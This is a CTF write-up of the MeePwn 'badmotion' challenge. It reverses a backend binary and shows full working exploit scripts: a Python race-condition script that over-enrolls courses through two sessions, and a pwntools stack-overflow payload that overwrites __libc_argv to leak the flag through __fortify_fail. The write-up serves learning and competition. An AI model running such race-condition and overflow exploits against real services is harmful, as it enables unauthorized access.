Introduction
As an enthusiast badminton player, I decide to add a cover page for this write-up. As a CTF player, I think it’s necessary to write a wp for this challenge. This challenge is not hard after reading the write-up given on [1]. But I think there are still a lot of things to learn in the field of web security.
Vulnerability Analysis
PWN
Let’s reverse the logic of the backend programme.
initFlag(); //load flag at 0x604070 initDB(); s[0xc00]; token = read(0x40); //code to validate token in 0-9a-z sql_statment = "Select * from users where token=%s", token; mysql_query(sql_result, sql_statement); mysql_store_result(sql_result); row_num = mysql_num_rows(sql_result); if(row_num <= 0) return; row = mysql_fetch_row(sql_result); col0 = row[0]; *(0x604138) = atoi(col1); col1 = row[1]; *(0x604060) = strdup(col2); col4 = row[4]; *(0x604050) = atoi(col4); if(*(0x604050) > 0x64) { *(0x604050) = 0x64 } for(i=0; i< *(0x604050); i++) { printf("#%d Oh I heard that you already enrolled a course\n", j); printf("What is the course name?>"); read(0, s + i*0x400, 0x400); }
At this point, we can clearly see that there is a very obvious stack overflow if the number of enrolled courses if larger than 3.
Web
After getting to know the target of web challenge is to set enroll larger than 3. The first idea coming into mind is to use race condition to set enroll more than 3 times. However, I spend a lot of time trying to use one session to set enroll with multi-threading. After reading [1], I realise that two different sessions are enough.
In the end, we are expected to achieve the following result.
Exploit Plan
The process to read flag is very similar to 34C3 ReadmeRevenge, but much simpler.
Since the binary is not enabled with ASLR, we can use the following code in glibc to read flag by overwriting libc_argv to 0x604070.
__fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); }
Exploit
I tried to used the C code given in [2], but I found that it does not work on my local machine. So I write a script in python as a practice of web challenge.
Web
import requests from pwn import * import thread import time remote= "178.128.84.72" userName = "dangokyo_py"; password = "XXXXXX"; #Replace_your_password_here webpage = "http://178.128.84.72"; def login(s, name, pw): loginPage = "http://178.128.84.72/login.php?username=%s&password=%s" % (name, pw); r = s.get(loginPage); #print(r.text); def show(s): coursePage = "http://178.128.84.72/courses.php"; r = s.get(coursePage); #print(r.text); #token = r.text.split('Token: ')[1][:64]; count = int(r.text.split('Enrolled: ')[1].split(' ')[0]); #print(count); return count def enroll(s): enrollPage = "http://178.128.84.72/login.php?action=enroll"; r = s.get(enrollPage); def loop_enroll(s, name): for i in range(0, 5): time.sleep(1); enroll(s); #Aim to trigger race condition def exploit(): for i in range(1, 0x10): currentCount = 0; s1 = requests.Session(); s2 = requests.Session(); newName = userName+str(i); login(s1, newName, password); login(s2, newName, password); currentCount = show(s1); print("The %d the trial. Initial vaue: %d" % (i, currentCount)) if(currentCount > 3): continue; #using multithread to trigger race condition try: thread.start_new_thread( loop_enroll, (s1, "Session 1", ) ); thread.start_new_thread( loop_enroll, (s2, "Session 2", ) ); except: print("Error") time.sleep(5); currentCount = show(s1); print("The %d th trial: %d" % (i, currentCount)); if(currentCount > 3): break; exploit();
The final result is given below:
Pwn
from pwn import * r = remote("178.128.84.72", 9997); #This token is not for token = "2ed7d901b9b2ee047924d75286907f353f4c1714b418baeec10fc6984f21228d"; r.recvuntil(">"); r.sendline(token); r.recvuntil(">"); r.send("A"); r.recvuntil(">"); r.send("A"); r.recvuntil(">"); r.send("A"); r.recvuntil(">"); r.send(p64(0x604070)*128); r.recvuntil(">"); r.send(p64(0x604070)*128); r.recvuntil(">"); r.send(p64(0x604070)*128); r.recvuntil(">"); r.sendline("3"); while(True): log.info(r.recvline());
Conclusion
Thanks for MeePwn team for providing such an awesome challenge. WEB+PWN is so interesting. I think it is time to learn something about docker and set up some test environment for fun.
Reference
[1] https://ctftime.org/writeup/10438
[2] https://github.com/Jinmo/ctfs/blob/master/2018/meepwn/0xbadmotion_racecondition.c